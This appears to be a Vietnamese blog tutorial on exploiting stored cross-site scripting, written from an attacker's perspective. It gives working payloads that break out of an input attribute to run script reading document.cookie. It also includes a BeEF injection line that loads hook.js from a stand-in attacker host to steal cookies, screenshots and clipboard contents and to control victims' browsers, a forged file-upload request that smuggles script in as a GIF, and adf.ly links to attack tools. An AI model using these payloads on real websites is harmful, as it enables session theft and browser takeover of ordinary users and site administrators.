Các kiểu khai thác XSS – Phần 2: Stored XSS
Trong bài trước, AD đã giới thiệu về lỗi XSS (Cross Site Scripting) và hướng khai thác thực tế của XSS Reflected. Có một loại khác của XSS được xem là nguy hiểm hơn, đó là Stored XSS.
Công việc đầu tiên mà AD làm khi đọc một bài viết mới đó là gắng download hết tất cả các tool có trong bài đó về máy, và dù không học thì cũng nghiên cứu xem tool đó để làm gì, hoạt động như thế nào, và AD khuyên mọi người cũng nên làm vậy, có nhiều người được gọi là Hacker giỏi chỉ vì họ biết sử dụng khéo léo các công cụ kể cả free
Stored XSS
Khác với Reflected tấn công trực tiếp vào một số nạn nhân mà hacker nhắm đến, Stored XSS hướng đến nhiều nạn nhân hơn. Lỗi này xảy ra khi ứng dụng web không kiểm tra kỹ các dữ liệu đầu vào trước khi lưu vào cơ sở dữ liệu (ở đây AD dùng khái niệm này để chỉ database, file hay những khu vực khác nhằm lưu trữ dữ liệu của ứng dụng web). Ví dụ như các form góp ý, các comment … trên các trang web.
Với kỹ thuật Stored XSS , hacker không khai thác trực tiếp mà phải thực hiện tối thiểu qua 2 bước.
Đầu tiên hacker sẽ thông qua các điểm đầu vào (form, input, textarea…) không được kiểm tra kỹ để chèn vào CSDL các đoạn mã nguy hiểm.
Stored Xss Input
[adrotate banner="3"]
Tiếp theo, khi người dùng truy cập vào ứng dụng web và thực hiện các thao tác liên quan đến dữ liệu được lưu này, đoạn mã của hacker sẽ được thực thi trên trình duyệt người dùng.
Stored Xss Output
Đến đây hacker coi như đã đạt được mục đích của mình. Vì lí do này mà kỹ thuật Stored XSS còn được gọi là second-order XSS.
Kịch bản khai thác được mô tả như hình sau:
Stored Xss Describe
Reflected XSS và Stored XSS có 2 sự khác biệt lớn trong quá trình tấn công.
- Thứ nhất, để khai thác Reflected XSS, hacker phải lừa được nạn nhân truy cập vào URL của mình. Còn Stored XSS không cần phải thực hiện việc này, sau khi chèn được mã nguy hiểm vào CSDL của ứng dụng, hacker chỉ việc ngồi chờ nạn nhân tự động truy cập vào. Với nạn nhân, việc này là hoàn toàn bình thường vì họ không hề hay biết dữ liệu mình truy cập đã bị nhiễm độc.
- Thứ 2, mục tiêu của hacker sẽ dễ dàng đạt được hơn nếu tại thời điểm tấn công nạn nhân vẫn trong phiên làm việc(session) của ứng dụng web. Với Reflected XSS, hacker có thể thuyết phục hay lừa nạn nhân đăng nhập rồi truy cập đến URL mà hắn ta cung cấp để thực thi mã độc. Nhưng Stored XSS thì khác, vì mã độc đã được lưu trong CSDL Web nên bất cứ khi nào người dùng truy cập các chức năng liên quan thì mã độc sẽ được thực thi, và nhiều khả năng là những chức năng này yêu cầu phải xác thực(đăng nhập) trước nên hiển nhiên trong thời gian này người dùng vẫn đang trong phiên làm việc.
Từ những điều này có thể thấy Stored XSS nguy hiểm hơn Reflected XSS rất nhiều, đối tượng bị ảnh hưởng có thế là tất cả nhưng người sử dụng ứng dụng web đó. Và nếu nạn nhân có vai trò quản trị thì còn có nguy cơ bị chiếm quyền điều khiển web.
Testing
Ví dụ:
Email lưu trữ ở trong file index2.php
index
Mã nguồn của file index.php
12<input class="inputbox" type="text" name="email" size="40"
value="aaa@aa.com" />
|
Trong trường hợp như thế này, mọi người cần tìm cách để đưa code vào bên ngoài thẻ <input>như sau:
12<input class="inputbox" type="text" name="email" size="40"
value="aaa@aa.com"> MALICIOUS CODE <!-- />
|
Kiểm tra:
Điều này liên quan đến việc kiểm tra và lọc kết quả đầu vào của index2.php
1aaa@aa.com"><script>alert(document.cookie)</script>
|
1aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
|
Kiểm tra để đảm bảo là phần input được ứng dụng chấp nhận,vì một số trang chặn thực thi mã js thì sẽ không làm được, hoặc các trang dùng thông qua proxy của Webscarab
Kết quả:
Example
Đây là đoạn mã đã được thực thi:
12<input class="inputbox" type="text" name="email" size="40"
value="aaa@aa.com"><script>alert(document.cookie)</script>
|
Công cụ
Các bước thực hành cơ bản ( ở đây AD dùng BeEF nhé)
- Gắn một file js có chức năng trao đổi thông tin với hacker
- Đợi victim xem trang web lỗi mà ta đã cài đặt thêm vào CSDL trên
- Điều khiển victim thông qua BeEF Control
Ví dụ : BeEF Injection trong file index2.php
1aaa@aa.com”><script src=http://attackersite/hook.js></script>
|
Khi người dùng vào trang index2.php, đoạn script hook.js sẽ được thực thi, lúc này hacker có thể xem cookies, Prt Scr, xem clipboard của nạn nhân và điều khiển qua Control của BeEF
Demo Cookies
Và tiếp theo, nếu app của victim cho phép upload file thì sao nhỉ, điều này sẽ rất thú vị đấy, AD sẽ thử nhé
- Thường thì chúng ta sẽ được upload file Html và TXT thôi :v
AD xem mẫu sau:
12345678POST /fileupload.aspx HTTP/1.1
[…]
Content-Disposition: form-data; name="uploadfile1"; filename=
"C:Documents and SettingstestDesktoptest.txt"
Content-Type: text/plain
test
|
Lỗ hổng này có thể bạn đã từng gặp trong các MIME lỗi, ví dụ như bạn có thể chèn cả các dữ liệu XSS hay là JS vào trong file JPG/GIF, chỉ dùng được khi trình duyệt nhận JPG/GIF như là HTML/TEXT còn không sẽ bị trình duyệt chặn ngay :)))
Vậy nên chúng ta sẻ sửa lại đoạn mã HTTP POST trên như sau:
12Content-Disposition: form-data; name="uploadfile1"; filename= "C:Documents and SettingstestDesktoptest.gif" 123Content-Type: text/html
<script>alert(document.cookie)</script>
|
AD thử trên trình duyệt khác nhau thì lại có kết quả khác nhau, ví dụ IE sẽ xem 1 file TXT có chứa nội dung HTML như laf1 file HTML thực thụ, còn Firefox thì không 
AD chia sẻ luôn một số biến và toán tử để kiểm tra lỗi ở các mã nguồn
| PHP | ASP | JSP |
|
|
|
Tools
- PHP Charset Encoder(PCE) : http://adf.ly/1WGLGK
- Hackvertor :http://adf.ly/1WGLR1
- BeEF : http://adf.ly/1WGLWq
- XSS-Proxy : http://adf.ly/1WGLcr
- Backframe : http://adf.ly/1WGLjY
- WebScarab : http://adf.ly/1WGLpv
- Burp : http://adf.ly/1WGLxY
- XSS Assistant : http://adf.ly/1WGM3h
- OWASP Zed Attack Proxy (ZAP): http://adf.ly/1WGMBh
Nguồn : AnonyVN
Các kiểu khai thác XSS – Phần 2: Stored XSS
![]()
Reviewed by myblog
on
08:05:00
Rating:
Không có nhận xét nào: